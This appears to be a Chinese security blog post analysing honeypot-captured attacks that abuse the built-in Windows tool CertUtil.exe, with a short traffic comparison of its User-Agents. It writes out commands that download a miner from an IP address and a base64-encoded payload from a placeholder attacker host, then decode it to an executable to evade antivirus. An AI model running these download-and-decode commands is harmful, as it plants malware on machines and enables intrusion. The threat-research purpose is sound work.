攻击者利用CertUtil.exe植入恶意软件

0x00 CertUtil 是什么

近期通过蜜罐捕获了多起通过CertUtil植入恶意软件的攻击,所以对这个工具进行了一些简单的研究。

CertUtil是一个Windows的内置程序,用于管理Windows中的证书,使用此程序,可以在Windows中安装,备份,删除,管理和执行与证书和证书存储相关的各种功能。

0x01 CertUtil怎么用

CertUtil的经典用法是处理Base64编码数据:

1
C:\Windows\Temp> certutil.exe -decode input.txt output.exe

CertUtil能够从远程URL下载证书或任何其他文件,语法: “certutil.exe -urlcache -split -f [URL] output.file”

1
certutil.exe -urlcache -split -f http://37.44.212.223/miner.exe C:/Windows/temp/yete.exe
  • “-urlcache”用于执行URL缓存管理操作。
  • “-f”用于强制获取指定的URL并更新缓存。
  • “-split”用于将文件转储到磁盘上。

cert-2

两种功能进行结合:首先对恶意文件进行base64编码,以绕过AV检测, 然后在使用CertUtil.exe下载后再对其进行解码。

1
2
C:\Windows\Temp>certutil.exe -urlcache -split -f "https://hackers.home/badcontent.txt" bad.txt
C:\Windows\Temp>certutil.exe -decode bad.txt bad.exe

攻击者为什么喜欢用CertUtil?因为它是Windows内置的程序,CertUtil可能会被列入白名单。其实利用合法的Windows植入恶意软件非常常见,比如Windows regsvr32.exe就是以类似的方式使用。

0x02 流量分析

分析的过程中还发现这个工具使用连个不同的User-Agents(“Microsoft-CryptoAPI/6.1”和“CertUtil URL Agent”)与远程服务器建立两个会话连接,且response包内容一致,以下是抓包对比:

cert-3